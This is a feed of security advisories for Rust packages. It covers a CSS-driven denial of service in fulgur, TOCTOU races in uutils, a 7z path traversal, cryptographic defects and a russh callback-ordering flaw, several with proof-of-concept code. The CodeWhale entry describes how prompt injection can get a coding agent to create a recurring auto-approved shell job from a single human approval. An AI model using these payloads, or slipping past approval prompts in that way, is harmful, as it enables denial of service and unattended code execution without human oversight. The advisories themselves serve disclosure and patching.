CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Versions
- >= 0.30.0, <= 0.40.1
- Weakness
- CWE-22
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 18, 2026 · first seen here 2 min ago
CVSS score: 7.5 Severity: High Identifier: CVE-2026-68539GHSA-VW2V-G4X7-XCQG fulgur allows Unbounded string-set value accumulation causes memory/CPU exhaustion (denial of service) Package: fulgur fixed in 0.28.0 Published Published New
fulgur converts untrusted HTML/CSS into PDF, commonly on a server that
processes input supplied by many tenants. In versions from 0.4.4 up to (but not
including) the patched release, the CSS string-set named-string values
resolved from a document were accumulated per element with no memory budget,
letting a small crafted document amplify into large retained memory (and the CPU
to copy it) — a denial of service.
A string-set value is attacker-controlled: it is resolved from an element's
own text (content(text)), from one of its attributes (attr(...)), or from a
CSS string literal. fulgur accumulated these values per element in two unbounded
places:
-
Store (default path). For every element that matches a
string-setrule,
fulgur pushes a copy of the resolved value into a store that is retained for
the whole render and cloned again downstream into a per-node lookup map. This
happens on the ordinary render path with no opt-in. A single literal reused
across many elements therefore expands from one copy in the input to N copies
in memory:<style> p { string-set: title "……a large literal value……" } </style> <p></p> <!-- repeated N times -->The store grows to roughly
value_size × Nbytes (and ~3× that across the
downstream clones) from an input whose large part appears only once — a
breadth-unbounded amplification. -
Per-node snapshot (bookmark / cross-reference path). When PDF bookmarks
(bookmark-label: string(...)) or CSStarget-*references are in play,
fulgur additionally cloned the full runningname → valuemap at every
visited element sostring()can resolve at that position. One large value
is then re-cloned at each of N following elements — anO(N × value_size)
retained-memory sink. This is the string counterpart of the counter-snapshot
sink fixed in
GHSA-395p-pj7r-jm42;
that fix bounded the counter snapshots but did not bound this string twin.
An attacker able to submit HTML/CSS to a fulgur-based conversion service can
trigger memory and CPU exhaustion with a trivially small payload, denying
service to the host and any co-tenants.
Patches
Fixed in 0.28.0. The aggregate of each sink is now separately bounded: the
resolved string-set store (MAX_STRING_SET_STORE_BYTES) and the retained
per-node named-string snapshots (MAX_STRING_SNAPSHOT_BYTES). In addition, the
snapshot is no longer recorded for target-*-only renders — those snapshots are
consumed only by bookmark-label: string(...), so recording them when no
bookmarks are emitted was both wasted work and the only path that let inline
target-* CSS enable the snapshot clone with no bookmark opt-in. The caps are
kept far above any realistic document (short named strings, even thousands of
them); past the cap a string() reference degrades to its last recorded value,
which only occurs under adversarial input.
Workarounds
Upgrade to 0.28.0 or later. If upgrading is not immediately possible, validate
or constrain untrusted CSS — in particular a string-set rule with a large
literal (or content(text) / attr(...)) value matched by many elements —
before passing HTML to fulgur, and bound the size and element count of accepted
input.
Attack Vector rationale
fulgur performs no network I/O of its own; it renders HTML/CSS handed to it by
the embedding application. This advisory scores the crate independent of any
specific adopting program, so per the CVSS v3.1 User Guide §3.7 (scoring library
vulnerabilities related to incoming data) the Attack Vector is assessed as
Network for the reasonable worst-case deployment — a network-facing service
that renders untrusted, attacker-supplied HTML without user interaction. A
concrete system that receives the HTML in one component and passes it to fulgur
in a separate component may assess a lower environmental Attack Vector (Local,
per §3.10).
- Exploitation
- No known exploitation
- EPSS
- 0.68% chance of exploitation in the next 30 days, higher than 47.8% of CVEs
- CVSS
- 7.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Versions
- >= 0.4.4, < 0.28.0 · fixed in 0.28.0
- Weakness
- CWE-400, CWE-770
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 25, 2026 · first seen here 3 min ago
CVSS score: 7.5 Severity: High Identifier: CVE-2026-83817GHSA-8HP3-XXRG-V9C8 CodeWhale: Automation auto_approve defaults to true, bypassing the task-path hardening fix for silent recurring agent execution Package: codewhale-tui fixed in 0.9.0 Published Published
Maintainer resolution
The CodeWhale maintainers validated this report. CodeWhale 0.8.67 and earlier are affected. Version 0.9.0 contains the fix in commit 208421b9d23d81cea3311a1eeb2a2ea81d637686. Users should upgrade to 0.9.0 or later. The original reporter analysis is preserved below.
Summary
CVE-2026-45374 (GHSA-72w5-pf8h-xfp4) hardened the task path so auto-approval must be opted into explicitly: add_task uses req.auto_approve.unwrap_or(false) (task_manager.rs:868). The automation subsystem was not hardened in kind. AutomationRecord::task_auto_approve() resolves an omitted auto_approve to DEFAULT_AUTOMATION_AUTO_APPROVE = true (automation_manager.rs:29, 101-103), and enqueue_run_task builds the NewTaskRequest with auto_approve: Some(automation.task_auto_approve()) — i.e. an explicit Some(true) (automation_manager.rs:766). Because the field is Some, unwrap_or(false) returns true and the seed-2 default is bypassed. That true propagates to ApprovalMode::Bypass (runtime_threads.rs:2253), where the background approval loop auto-approves every tool call with no human present (runtime_threads.rs:3383-3416). One approved automation_create becomes a durable, recurring, fully auto-approved agent. Same insecure-default class as CVE-2026-45374, on a different, unpatched subsystem.
Root Cause
Sibling durable defaults in the same struct are safe — DEFAULT_AUTOMATION_ALLOW_SHELL = false and DEFAULT_AUTOMATION_TRUST_MODE = false (automation_manager.rs:27-28) — while DEFAULT_AUTOMATION_AUTO_APPROVE alone defaults true (:29). create_automation stores auto_approve: None when omitted (:422); task_auto_approve() resolves None→true (:101-103); enqueue_run_task passes Some(true) (:766), defeating add_task's unwrap_or(false) seed fix. The automation_create tool schema also declares "auto_approve": {"type":"boolean","default":true} (tools/automation.rs:49) while sibling allow_shell/trust_mode default false.
Impact
A single approved automation_create yields a durable, recurring, fully auto-approved agent. Every scheduled fire silently authorizes mutating tools (file writes, apply_patch, git, MCP writes) with no prompt; combined with allow_shell:true in the create call, recurring silent RCE with no human present. Even without allow_shell, every recurring run silently authorizes all non-shell mutating tools. Same class as seed CVE-2026-45374.
Proof of Concept
Prompt injection convinces the model to create a benign-sounding recurring job (single human approval on the automation_create call):
{"name":"automation_create","arguments":{
"name":"nightly-maintenance",
"prompt":"Fetch latest and run project setup script",
"rrule":"FREQ=HOURLY;INTERVAL=1",
"allow_shell":true
}}
(auto_approve omitted → stored None → resolves to true on every run.)
Attack Chain
- Entry. Prompt injection → model creates a recurring job via
automation_createwithauto_approveomitted.- Guard:
automation_createisRequired(tools/automation.rs:61-63) — user sees ONE approval prompt. - Bypass proof: the prompt describes an innocuous automation; the schema hides
"auto_approve": {"default": true}(tools/automation.rs:49). Approving "create a scheduled job" is not informed consent to "every future run bypasses all approval prompts." The resolvedauto_approve=true(omitted field) is not surfaced.
- Guard:
- Persist.
create_automationstoresauto_approve: None(automation_manager.rs:422).- Guard: none.
- Bypass proof:
Noneis later resolved totrue, notfalse.
- Fire. Headless scheduler tick (
scheduler_tick_shared, no human) orautomation_runinvokesenqueue_run_task, which setsauto_approve: Some(true)(automation_manager.rs:766).- Guard: seed-2's hardened
add_taskdefaultunwrap_or(false)(task_manager.rs:868). - Bypass proof: the value is
Some(true), sounwrap_or(false)yieldstrue— the hardened default never applies.
- Guard: seed-2's hardened
- Sink. Background worker builds the turn with
auto_approve=true→ApprovalMode::Bypass(runtime_threads.rs:2253); the approval loop auto-approves (runtime_threads.rs:3383-3416).- Guard: auto_review safety_floor.
- Bypass proof: safety_floor holds only
Publish(any origin) andDestructive/Secret(background/headless) (auto_review.rs:344-357); ordinarywrite_file/apply_patch/edit_file/non-destructiveexec_shellare NOT held → they run unattended. Withallow_shell:true, every scheduled run additionally gets silent shell execution.
- Impact. Durable, recurring, fully auto-approved agent from one create approval; recurring silent RCE with
allow_shell:true.
Bypass Evidence
- Present on latest release tag v0.8.67: automation_manager.rs:27-29 (
ALLOW_SHELL=false,TRUST_MODE=false,AUTO_APPROVE=true), :101-103task_auto_approve()→unwrap_or(true), :766Some(automation.task_auto_approve()), :422 storesNonewhen omitted; task_manager.rs:868unwrap_or(false); runtime_threads.rs:2253if auto_approve → ApprovalMode::Bypass. automation_manager.rs and task_manager.rs byte-identical v0.8.67↔HEAD. - Subsystem wired by default:
automation_create/automation_runregistered viawith_runtime_task_tools()inwith_agent_tools_policy(registry.rs:1005); TUI attachesautomations: Some(...)(tui/ui.rs:986-1011), serve mode via runtime_api.rs:426 — not feature-gated. - Sibling flags
allow_shell/trust_modedefaultfalsein the same struct —auto_approve=trueis the un-hardened anomaly.
Affected Versions
<= 0.8.67 (present on latest release tag v0.8.67 and HEAD 6a3403e).
Suggested Fix
Set DEFAULT_AUTOMATION_AUTO_APPROVE = false (mirror the seed-2 task-path fix) and change the automation_create schema default to false, so durable automations require explicit opt-in to auto-approval just like the task path.
Reported by zx (Jace)
- Exploitation
- No known exploitation
- EPSS
- 0.60% chance of exploitation in the next 30 days, higher than 42.8% of CVEs
- CVSS
- 7.5 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Versions
- <= 0.8.67 · fixed in 0.9.0
- Weakness
- CWE-1188, CWE-862
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 19, 2026 · first seen here 2 min ago
CVSS score: 6.9 Severity: Medium Identifier: CVE-2026-62337GHSA-X26X-7F4V-CQX7 snark-verifier: Halo 2 aggregation circuit mishandles point-at-infinity proof elements Package: snark-verifier fixed in 0.2.6 Published Published
SNARK Verifier is a generic (S)NARK verifier. Prior to 0.2.5, the Halo 2 aggregation circuit can mishandle proof points encoded as the point at infinity. EcPointLoader::multi_scalar_multiplication places a Value::Assigned(_) base paired with Value::Constant(ONE) into its unscaled variable-base list and passes it directly to sum_with_const. The default shim delegates to halo2-lib EccChip::sum, whose incomplete affine addition assumes nonidentity input points. A prover-controlled proof point encoded as (0, 0) can therefore enter the final aggregation sum through the scalar-one shortcut and affect the MSM or accumulator computation. Practical exploitability depends on the surrounding aggregation and final-decider checks; the advisory does not establish universal acceptance of invalid proofs. This issue is fixed in version 0.2.5.
- Exploitation
- No known exploitation
- EPSS
- 0.49% chance of exploitation in the next 30 days, higher than 34.8% of CVEs
- CVSS
- 6.9 out of 10 · source NVD (github.com)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Versions
- < 0.2.5 · fixed in 0.2.6
- Weakness
- CWE-20
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 30, 2026 · first seen here 2 min ago
CVSS score: 6.9 Severity: Medium Identifier: CVE-2026-61618GHSA-265X-V3QF-FF6P snark-verifier accepts non-canonical KZG accumulator limb encodings Package: snark-verifier fixed in 0.2.5 Published Published
SNARK Verifier is a generic (S)NARK verifier. Prior to 0.2.5, KZG accumulator public-instance limbs are decoded without consistently enforcing canonical limb bounds before elliptic-curve coordinate reconstruction. PlonkProof::read selects scalars using accumulator_indices and passes them to AccumulatorEncoding::from_repr. For the EVM loader, LimbsEncoding::from_repr forwards them to EvmLoader::ec_point_from_limbs in snark-verifier/src/loader/evm/loader.rs, where shl and add reconstruct coordinates before validate_ec_point checks the resulting affine point rather than the original limb bounds. The related native path in snark-verifier/src/pcs/kzg/accumulator.rs can reach assertion- or unwrap-based decoding and panic instead of returning a verification error. This allows noncanonical encodings at the verifier boundary and can crash the native verifier. Standard SDK aggregation circuits are expected to constrain accumulator limbs before this boundary, which limits practical exploitability. This issue is fixed in version 0.2.5.
- Exploitation
- No known exploitation
- EPSS
- 0.51% chance of exploitation in the next 30 days, higher than 36.4% of CVEs
- CVSS
- 6.9 out of 10 · source NVD (github.com)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Versions
- < 0.2.5 · fixed in 0.2.5
- Weakness
- CWE-1284, CWE-20
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 30, 2026 · first seen here 2 min ago
CVSS score: 6.3 Severity: Medium Identifier: CVE-2026-35374GHSA-FJJQ-8HW5-CF9F split: TOCTOU output-open allows truncating a swapped file Package: uu_split fixed in 0.10.0 Published Published
split checks input/output identity by path before opening the output, then opens with truncation, leaving a race window on mutable path components. GNU opens first and compares the opened output inode against the input before truncating. The race can cause split to truncate/write a file different from the one validated — including the input file or another file the process can access.
Fixed in 0.10.0 (PR #12565, commit 58040feb5c66fce588a7ffac299b3a23bd55cd81): the output open path is hardened against TOCTOU target swaps.
Zellic private finding (zellic-ext/coreutils-private PR #119). Reported in the Zellic uutils coreutils Program Security Assessment (for Canonical, Jan 2026), audited commit 3a07ffc5a9bd4c283e75afa548ba1f1957bad242.
- Exploitation
- No known exploitation
- EPSS
- 0.09% chance of exploitation in the next 30 days, higher than 0.12% of CVEs
- CVSS
- 6.3 out of 10 · source GitHub
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H - Versions
- <= 0.9.0 · fixed in 0.10.0
- Weakness
- CWE-367, CWE-59
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 2 min ago
CVSS score: 6.1 Severity: Medium Identifier: CVE-2026-61725GHSA-QH76-45CR-8XRC sevenz-rust2: decompress builds each output path as dest.join(entry.name()) with no traversal guard, allowing a crafted .7z to write files outside the destination (Zip-Slip) Package: sevenz-rust2 fixed in 0.21.1 Published Published
sevenz-rust2 is a Rust-native 7z compressor and decompressor. Prior to 0.21.1, extracting an attacker-supplied 7z archive can write or overwrite files outside the destination directory. In src/util/decompress.rs, decompress_impl computes each destination with dest.join(entry.name()) without normalizing the archive's UTF-16 entry name or verifying containment, and default_entry_extract_fn writes to it with File::create. Parent-directory components escape the extraction root, and an absolute entry path makes the join discard the destination entirely. The convenience entry points decompress, decompress_file, decompress_with_password, and decompress_file_with_password all use this default path. Overwriting writable configuration, startup, cron, or build files can lead to code execution or persistence. The archive bytes are the attacker-controlled trust boundary, including for applications that automatically unpack uploaded or otherwise untrusted archives. This issue is fixed in version 0.21.1.
- Exploitation
- No known exploitation
- EPSS
- 0.19% chance of exploitation in the next 30 days, higher than 4.9% of CVEs
- CVSS
- 6.1 out of 10 · source NVD (github.com)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L - Versions
- < 0.21.1 · fixed in 0.21.1
- Weakness
- CWE-22, CWE-23
- Linked via
- ecosystem package
- Sources
- NVD · GitHub
- Dates
- published Oct 30, 2026 · first seen here 2 min ago
CVSS score: 5.9 Severity: Medium Identifier: CVE-2026-77382GHSA-25RM-9WVM-M38V falcon-rust: Discrete-Gaussian sampler runs at 2^-33 precision, far below Falcon's requirement (reference KAT vectors no longer pass) Package: falcon-rust fixed in 0.2.0 Published Published
Reporter: Connor Webber
Package: falcon-rust (crates.io), repository github.com/aszepieniec/falcon-rust
Affected: v0.1.3 and the current master (HEAD cfa1b35). Regression introduced in commit bf2cf00.
Component: discrete-Gaussian sampler, src/samplerz.rs (approx_exp, ber_exp, sampler_z)
Status: Confirmed by source review and by empirical measurement of the crate's own compiled code.
Summary
falcon-rust's discrete-Gaussian rejection sampler evaluates its exp() acceptance step at only 32 bits of fractional precision. Measured directly against the crate's own compiled code, approx_exp has a maximum relative error of 2^-33. For comparison, the Falcon reference implementation achieves about 2^-63, and the f64 code this crate replaced achieved about 2^-52. The current sampler is therefore roughly 2^19 (about 500,000x) less precise than the version it replaced, and about 2^30 less precise than the reference.
Falcon's security proof relies on the sampled signatures being statistically indistinguishable from an ideal discrete Gaussian, so the signature transcript leaks nothing about the secret trapdoor. That guarantee holds only when the sampler's relative error stays small enough, over the roughly 2^64 signature budget, to keep the Renyi divergence between the real and ideal distributions negligible. The precision the security analysis relies on is cited in the literature between roughly 2^-40 and 2^-46 (for example the FACCT and isochronous-sampling analyses). At 2^-33 the sampler is below every value in that range, roughly 128x to 4096x too coarse depending on which bound you take, so the precondition the proof depends on is not met.
There is a second, bound-independent piece of evidence that removes any ambiguity: the crate's sampler can no longer reproduce Falcon's known-answer test (KAT) vectors, which are the authoritative correctness oracle. Rather than restore the precision, the maintainers loosened their own test tolerance and noted that "rejection decisions may differ at the boundary." The regression is already visible in-tree; its security significance was simply not recognized.
Because the sampler's sigma is derived from the secret basis Gram-Schmidt norms, the resulting distribution deviation is secret-dependent. The exp function itself is public, but its inputs, and therefore the deviation, depend on secret quantities. This is the class of flaw that statistical and hidden-number-problem learning attacks on biased Gaussian samplers target.
The crate's own documentation describes this sampler as "side-channel-hardened" and notes that "the sampler defines the secret-key distribution, so getting it wrong weakens the cryptography," which is exactly the property this defect touches.
Technical detail
Root location: src/samplerz.rs
FixedPoint64 = FixedPoint<i64>withFRAC_UNIT = 1 << 32, i.e. 32 fractional bits (src/fixed_point.rs). The crate already definesFixedPoint128with 64 fractional bits, the correct-precision type, but the sampler usesFixedPoint64.approx_exp(samplerz.rs:34) evaluates the FACCT polynomial, whose coefficients are the correct 63-bit constants, but at line 59 it doeslet z: u64 = (x.0 as u64) << 31;. This takes the 32-bit-precision argument and zero-fills the low 31 bits into a 63-bit word, so the polynomial is evaluated at an argument quantized to 2^-32.sampler_zcomputesdss = 0.5 * isigma^2andccs = sigma_min * isigmain this 32-bit type, wheresigmais the per-leaf value derived from the secret basis Gram-Schmidt norms (ffSampling). The precision loss therefore lands on secret-dependent quantities.
Regression: commit bf2cf00 ("Eliminate f64 from key generation via generic FixedPoint<T>") replaced the prior f64 sampler. git show bf2cf00^:src/samplerz.rs shows the old fn approx_exp(x: f64, ccs: f64) operating at 63-bit scale. The change landed before the 0.1.3 release. The maintainers then re-pinned their tests to the degraded output and loosened the tolerance, and the Falcon KAT vectors no longer pass.
Proof of concept (self-contained, reproducible)
Append the following module to falcon-rust/src/samplerz.rs and run:
cargo test -p falcon-rust --release dump_approx_exp_precision -- --nocapture
It calls the crate's own approx_exp and measures its maximum relative error against true exp() over the sampler's input domain [0, ln 2].
#[cfg(test)]
mod prec_test {
use super::*;
#[test]
fn dump_approx_exp_precision() {
let n: u64 = 500000;
let mut maxrel = 0.0f64;
let two63 = 9223372036854775808.0f64; // 2^63
for i in 0..=n {
let x = (i as f64 / n as f64) * std::f64::consts::LN_2;
let approx_u = approx_exp(FixedPoint64::from(x), FixedPoint64::ONE);
let approx = approx_u as f64 / two63; // ~ exp(-x)
let truev = (-x).exp();
let rel = ((approx - truev) / truev).abs();
if rel > maxrel { maxrel = rel; }
}
println!("MAXREL_APPROX_EXP={:.6e} log2={:.3}", maxrel, maxrel.log2());
let req = 2f64.powi(-40);
println!("FALCON_REQ_2^-40={:.3e} RATIO_OVER_REQ={:.1}x", req, maxrel / req);
let f64ref = 2f64.powi(-52);
println!("F64_SAMPLER_2^-52={:.3e} RATIO_OVER_F64={:.1}x", f64ref, maxrel / f64ref);
}
}
Measured output (rustc 1.96.1, x86-64, release):
MAXREL_APPROX_EXP=1.164152e-10 log2=-33.000
FALCON_REQ_2^-40=9.095e-13 RATIO_OVER_REQ=128.0x
F64_SAMPLER_2^-52=2.220e-16 RATIO_OVER_F64=524287.3x
So the sampler is at 2^-33, about 128x coarser than even the loosest cited requirement (2^-40), and about 500,000x coarser than the f64 sampler this code replaced.
Impact
The sampler's output distribution deviates from the specified discrete Gaussian by more than the security analysis allows, so the Renyi-divergence argument that guarantees the signature transcript hides the secret trapdoor no longer applies. Because the same sampler is used at key-generation time, the secret key itself is also drawn from a distribution that differs from the specified one. The deviation is secret-dependent, which is the property that statistical and hidden-number-problem learning attacks on biased Gaussian samplers exploit.
To be precise about scope (see Severity): this is a measured precision defect that voids the proof's precondition. It is not a demonstrated end-to-end key recovery.
Severity (honest scoping)
Medium. This is a measured failure to meet the scheme's mandated sampler precision, which for a cryptographic library is a defect in its own right, because the security proof's precondition is provably not met and the reference KAT vectors fail. It is not a demonstrated key-recovery attack. Being coarser than the required bound invalidates the proof, but does not by itself establish a practical break. Showing recovery would require a full statistical-learning simulation over many signatures, and whether that is feasible within a realistic signature budget at a per-sample bias of 2^-33 is an open question. That uncertainty is why this is scoped as an unsoundness and proof-conformance defect rather than a claimed exploit. Suggested RUSTSEC classification: informational = "unsound" (cryptographic-soundness defect), or a Medium advisory.
Fix
Perform sampler_z, ber_exp, and approx_exp at 53-bit precision (f64) or higher, or use the crate's existing FixedPoint128 (64 fractional bits) throughout the acceptance-probability computation. Restore the Falcon reference KAT vectors as the test oracle instead of the loosened tolerance.
Disclosure
Coordinated. Private notification to the maintainer first (this GitHub advisory), then RUSTSEC advisory-db. No public disclosure before maintainer contact.
Note on tooling
Claude Opus (Anthropic's coding assistant) was used to help test the hypothesis, specifically to build the crate and measure approx_exp against high-precision exp, and to help prepare this report. The measurements above are deterministic and independently reproducible with the included test.
- Exploitation
- No known exploitation
- EPSS
- 0.28% chance of exploitation in the next 30 days, higher than 13.0% of CVEs
- CVSS
- 5.9 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N - Versions
- <= 0.1.3 · fixed in 0.2.0
- Weakness
- CWE-1240
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 2 min ago
CVSS score: 4.5 Severity: Medium Identifier: CVE-2026-35376GHSA-9RV8-9HVG-92MQ chcon: recursive relabel not anchored to traversal dirfd (TOCTOU) Package: uu_chcon fixed in 0.10.0 Published Published
chcon resolved recursive targets from fts_accpath with a fresh path lookup, so traversal and the SELinux get/set were not bound to traversal directory state. A privileged recursive relabel can be redirected to unintended objects under rename/symlink races. Fix opens targets with openat against the traversal cwd fd before the SELinux operation.
Fixed in 0.10.0 (PR #12566, commit 7cfc74e47ffab452663be6842d788a5164d9688b): recursive relabel resolution is anchored to the traversal dirfd.
Zellic private finding (zellic-ext/coreutils-private PR #120). Reported in the Zellic uutils coreutils Program Security Assessment (for Canonical, Jan 2026), audited commit 3a07ffc5a9bd4c283e75afa548ba1f1957bad242.
- Exploitation
- No known exploitation
- EPSS
- 0.17% chance of exploitation in the next 30 days, higher than 3.4% of CVEs
- CVSS
- 4.5 out of 10 · source GitHub
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L - Versions
- <= 0.9.0 · fixed in 0.10.0
- Weakness
- CWE-367, CWE-59
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 2 min ago
CVSS score: 3.7 Severity: Low Identifier: CVE-2026-128087GHSA-9264-JVGF-6W2F russh kex_done: Shared-secret callback runs before server host-key verification Package: russh fixed in 0.65.1 Published Published
Summary
A malicious SSH server whose host key is rejected can still cause russh's client::Handler::kex_done() callback to execute with the raw key-exchange shared secret. Applications using the callback for its documented protocol-bridging purpose may derive keys, initialize a secondary data channel, or perform another externally visible action before russh calls check_server_key() and rejects the server.
Details
During the initial key exchange, russh calls kex_done() immediately after the server proves possession of the presented host key, but before the application decides whether that key belongs to the intended server:
let shared_secret = newkeys.kex.shared_secret_bytes();
handler
.kex_done(shared_secret, &newkeys.names, session)
.await?;
// Initial KEX only checks trust afterwards.
if let Some(certificate) = server_host_certificate {
if !handler.check_server_key(&certificate.into()).await? {
return Err(crate::Error::UnknownKey.into());
}
} else if let Some(server_host_key) = server_host_key {
let check = handler.check_server_key(&server_host_key.into()).await?;
if !check {
return Err(crate::Error::UnknownKey.into());
}
}
This is in russh/src/client/mod.rs at lines 2036-2078 of commit 183a22e8f8f490fa09b6eb7bd044ef99d8c4414f.
The API documentation describes check_server_key() as the important trust decision that prevents man-in-the-middle attacks. It describes kex_done() as the callback for deriving keys for secondary encrypted channels. The feature request that introduced the callback specifically lists VPN-over-SSH, UDP data planes, file transfer, and custom enterprise transports as intended uses.
Cryptographic verification of the KEX signature does not establish peer identity: an attacker operating its own SSH server can always produce a valid signature with its own host key. Identity is established only when check_server_key() accepts that key or certificate.
Expected behavior
For the initial key exchange, check_server_key() should accept the server identity before kex_done() exposes the shared secret for secondary-channel initialization.
Actual behavior
kex_done() runs first. An untrusted server can therefore trigger application-defined secondary-channel actions even though check_server_key() subsequently rejects it with UnknownKey.
The callback was introduced by commit 500bef1eccc1c48ac674e2a262aa7887777431eb and is present from v0.55.0 through current v0.65.0.
Proof of concept
The following self-contained Cargo project starts a local russh server with a fresh, untrusted host key. The client models the documented bridge use case by exporting the shared secret in kex_done(), while check_server_key() rejects the server. It asserts both the failed connection and the callback order.
Create an empty directory and add Cargo.toml:
[package]
name = "russh-kex-before-host-trust-poc"
version = "0.1.0"
edition = "2024"
[dependencies]
rand = { version = "0.10", features = ["thread_rng"] }
russh = "=0.65.0"
tokio = { version = "1", features = ["macros", "net", "rt-multi-thread"] }
Create src/main.rs:
use std::sync::{Arc, Mutex};
use russh::keys::{Algorithm, PrivateKey, PublicKeyOrCertificate};
use russh::{Names, client, server};
#[derive(Clone)]
struct TestServer;
impl server::Handler for TestServer {
type Error = russh::Error;
}
#[derive(Clone)]
struct RejectingClient {
events: Arc<Mutex<Vec<&'static str>>>,
exported_secret: Arc<Mutex<Option<Vec<u8>>>>,
}
impl client::Handler for RejectingClient {
type Error = russh::Error;
async fn kex_done(
&mut self,
shared_secret: Option<&[u8]>,
_names: &Names,
_session: &mut client::Session,
) -> Result<(), Self::Error> {
self.events.lock().unwrap().push("kex_done");
// Model a bridge exporting KEX material to a secondary protocol.
*self.exported_secret.lock().unwrap() = shared_secret.map(ToOwned::to_owned);
Ok(())
}
async fn check_server_key(
&mut self,
_server_public_key: &PublicKeyOrCertificate,
) -> Result<bool, Self::Error> {
self.events.lock().unwrap().push("check_server_key");
Ok(false)
}
}
#[tokio::main]
async fn main() {
let mut server_config = server::Config::default();
server_config.inactivity_timeout = None;
server_config
.keys
.push(PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap());
let server_config = Arc::new(server_config);
let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
let address = listener.local_addr().unwrap();
tokio::spawn(async move {
let (stream, _) = listener.accept().await.unwrap();
let _ = server::run_stream(server_config, stream, TestServer).await;
});
let events = Arc::new(Mutex::new(Vec::new()));
let exported_secret = Arc::new(Mutex::new(None));
let client = RejectingClient {
events: events.clone(),
exported_secret: exported_secret.clone(),
};
let result = client::connect(
Arc::new(client::Config::default()),
address,
client,
)
.await;
println!("connection accepted: {}", result.is_ok());
println!("callback order: {:?}", events.lock().unwrap());
println!(
"secret exported before rejection: {}",
exported_secret.lock().unwrap().is_some()
);
assert!(matches!(result, Err(russh::Error::UnknownKey)));
assert_eq!(
events.lock().unwrap().as_slice(),
&["kex_done", "check_server_key"]
);
assert!(exported_secret.lock().unwrap().is_some());
}
Run:
cargo run --quiet
Observed with russh v0.65.0:
connection accepted: false
callback order: ["kex_done", "check_server_key"]
secret exported before rejection: true
The connection fails with russh::Error::UnknownKey, but the security-sensitive callback and its modeled external side effect have already occurred.
Impact
Applications overriding kex_done() to bootstrap a secondary encrypted transport are affected. An unauthenticated attacker who can impersonate the SSH endpoint can complete KEX with an attacker-owned host key and trigger secondary channel initialization before that key is rejected. Depending on the bridge, this can expose early secondary-channel data or make the application act on a session established with an untrusted peer.
Ordinary clients that leave kex_done() at its no-op default, or implementations that independently defer all callback-derived actions until host trust has been confirmed, are not affected.
- Exploitation
- No known exploitation
- EPSS
- 0.23% chance of exploitation in the next 30 days, higher than 7.9% of CVEs
- CVSS
- 3.7 out of 10 · source GitHub
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N - Versions
- >= 0.55.0, < 0.65.1 · fixed in 0.65.1
- Weakness
- CWE-696, CWE-863
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 13, 2026 · first seen here 1 min ago
CVSS score: 3.3 Severity: Low Identifier: CVE-2026-35377GHSA-XHRC-7F76-VH96 uu_env incorrectly rejects backslashes within single-quoted strings accepted by GNU env Package: uu_env fixed in 0.10.0 Published Published
In env -S, GNU keeps backslashes literal inside single quotes (except \\ and \'); uutils errors on sequences like \a. This is the backslash-handling issue of the broader -S/--split-string parsing divergence.
env -S"printf %s '\''\\x'\''" # GNU prints \x ; uutils: invalid sequence '\x' in -S (125)
Zellic private finding (zellic-ext/coreutils-private PR #117). Reported in the Zellic uutils coreutils Program Security Assessment (for Canonical, Jan 2026), audited commit 3a07ffc5a9bd4c283e75afa548ba1f1957bad242.
- Exploitation
- No known exploitation
- EPSS
- 0.13% chance of exploitation in the next 30 days, higher than 1.3% of CVEs
- CVSS
- 3.3 out of 10 · source GitHub
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L - Versions
- <= 0.9.0 · fixed in 0.10.0
- Weakness
- CWE-20
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 20, 2026 · first seen here 2 min ago
CVSS score: 2.2 Severity: Low Identifier: CVE-2026-128088GHSA-736F-C93Q-9FWX russh try_sign: asynchronous confirmation can sign after agent lock Package: russh fixed in 0.65.1 Published Published
Summary
In russh 0.65.0, a sign request for a confirmation-constrained key can retain
and use the private key after another connection locks the agent. try_sign()
snapshots an Arc<PrivateKey> before awaiting Agent::confirm() and does not
revalidate the shared lock state after the await. An agent-forwarding peer can
therefore obtain a signature while the agent is locked and every new request is
being rejected.
Details
The agent's lock and key stores are shared by all connections. respond() reads
the lock state once, then dispatches a sign request:
let is_locked = {
// ... read the shared lock ...
};
// ...
Some((&13, mut r))
if !is_locked && agentref.confirm_request(MessageType::Sign).await =>
{
let agent = self.agent.take().ok_or(Error::AgentFailure)?;
